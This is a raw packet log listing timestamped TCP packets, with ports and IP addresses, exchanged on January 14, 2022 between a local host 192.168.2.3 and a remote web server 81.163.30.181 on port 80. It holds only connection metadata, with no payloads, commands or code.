Jan 14, 2022 20:23:53.147089958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.147103071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.147109032 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.147114038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.147119045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.200206041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.200233936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.200251102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.200315952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203675985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203733921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203804016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203821898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203826904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203843117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203859091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203865051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203887939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203906059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203922033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203927994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203938007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203946114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203955889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203963041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.203973055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.203989029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204005003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204005003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204025984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204040051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204047918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204071045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204072952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204128027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204148054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204178095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204190016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204204082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204215050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204250097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204277039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204293013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204297066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204309940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204319954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204327106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204355001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204359055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204392910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204410076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204426050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204440117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204442024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204452991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204464912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204482079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204497099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204499006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204513073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204545975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204547882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204559088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204603910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204633951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204649925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204659939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204694986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204714060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204744101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204744101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204756975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204781055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204814911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204849958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204864979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204888105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204899073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.204925060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204961061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204977036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.204993963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205013990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205014944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205025911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205037117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205060959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205085039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205085993 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205108881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205108881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205132008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205152035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205169916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205183029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205188036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205202103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205208063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205225945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205243111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205256939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205260038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205271006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205279112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205296993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205308914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205316067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205333948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205349922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205382109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205390930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205391884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.205411911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.205457926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.257148027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.257206917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.257306099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.260859966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.260905981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.260943890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.261020899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.261063099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.261965036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.262504101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.262581110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.262928009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263091087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263144016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263185978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263200998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263226986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263264894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263305902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263325930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263348103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263364077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263391018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263433933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263473034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263514042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263530970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263552904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263555050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263592005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263632059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263653040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263670921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263689041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263710976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263751030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263787985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263808012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263828039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263837099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263868093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263905048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263943911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263963938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.263983965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.263997078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264024019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264064074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264101982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264120102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264142036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264153004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264220953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264257908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264296055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264316082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264337063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264349937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264374971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264415979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264453888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264477968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264492989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264512062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264533997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264571905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264611006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264643908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264648914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264673948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264691114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264729977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264767885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264791012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264808893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264823914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264852047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264888048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264928102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264950037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.264966965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.264987946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265005112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265044928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265084028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265115976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265122890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265151024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265165091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265202999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265242100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265268087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265280962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265300989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265319109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265357971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265404940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265430927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265443087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265475035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265484095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265604973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265644073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265670061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265681028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265697002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265721083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265759945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265799046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265816927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265840054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.265846014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.265908957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.267443895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.314173937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.314227104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.314328909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.317703962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.317743063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.317784071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.317836046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.322981119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323035002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323075056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323106050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323112011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323143005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323152065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323193073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323194027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323230028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323268890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323307991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323311090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323345900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323347092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323386908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323426962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323468924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323558092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323599100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323601961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323638916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323677063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323715925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323717117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323754072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323755026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.323793888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323834896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.323877096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324258089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324297905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324300051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324335098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324374914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324414968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324418068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324454069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324459076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324492931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324531078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324568987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324575901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324609041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324609041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324647903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324687004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324726105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324729919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324764013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324767113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324815989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324856043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324894905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324898958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324932098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.324934959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.324971914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325010061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325048923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325052023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325087070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325088978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325125933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325165033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325202942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325239897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325253010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325258970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325278997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325316906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325355053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325367928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325407028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325407982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325445890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325485945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325524092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325531006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325562000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325573921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325602055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325639963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325679064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325684071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325719118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325722933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325756073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325794935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325800896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325833082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325902939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325941086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325958967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.325979948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.325993061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.326019049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326059103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326098919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326111078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.326137066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326138973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.326175928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326215029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326251984 CET	80	49866	81.163.30.181	192.168.2.3
